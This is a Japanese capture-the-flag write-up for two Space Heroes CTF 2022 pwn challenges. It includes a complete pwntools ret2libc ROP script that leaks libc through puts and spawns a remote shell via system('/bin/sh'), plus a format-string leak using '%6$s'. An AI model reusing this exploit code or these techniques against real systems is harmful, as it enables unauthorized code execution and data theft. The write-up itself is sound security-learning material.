Space Heroes CTF 2022 Writeups
まえがき
久しぶりのCTFでした。
CTFは楽しいね。
今年はpwnを頑張りたい!
[pwn 100pts] Vader
Buffer Over Flowがある。
0x28bytes書き込むとreturnアドレスを書き換えれる。
あとはROPをするだけ。
libcが配られていないのでlibcアドレスをputs関数でleakさせlibc databaseでlibcを特定する。
下のサイトを使った。
main -> puts -> main -> system("/bin/sh")
久しぶりのROPだったので疲れましたが完全に思い出せました。
from pwn import * HOST = "0.cloud.chals.io" PORT = "20712" elf = ELF('./vader') libc = ELF('./libc6_2.33-1_amd64.so') conn = remote(HOST, PORT) offset = 0x28 pop_rdi_ret = 0x40165b puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] main_addr = elf.symbols["main"] payload = b"" payload += b"A"*offset payload += pack(pop_rdi_ret, '64') payload += pack(puts_got, '64') payload += pack(puts_plt, '64') payload += pack(main_addr, '64') conn.recvuntil(b">>> ") conn.sendline(payload) puts_libc = unpack(conn.recvline().rstrip().ljust(8, b"\x00"), 'all') binsh_addr = next(libc.search(b"/bin/sh")) system_addr = libc.symbols["system"] libc_base = puts_libc-libc.symbols["puts"] payload = b"" payload += b"A"*offset payload += pack(pop_rdi_ret, '64') payload += pack(binsh_addr+libc_base, '64') payload += pack(system_addr+libc_base, '64') conn.recvuntil(b">>> ") conn.sendline(payload) conn.interactive()
[pwn 100pts] Guardians of the Galaxy
入力したものが出力される。
Buffer Over Flowは無さそうなので%pを入力するとなんらかのアドレスがリークしたため
FSA(Format String Attack)ができる。
このリークしたアドレスのk番目にflagがある場合、%k$sと入力するだけでflagの文字列をリークできる。
flag.txtの文字列は入力以前に読み出されているのでスタックに積まれていると考えられるため解けそう。
結果 "%6$s" と入力することによりflagを得る。
終わりに
久しぶりのCTF楽しかったです。
ROPを完全に忘れていたので思い出せて良かったです。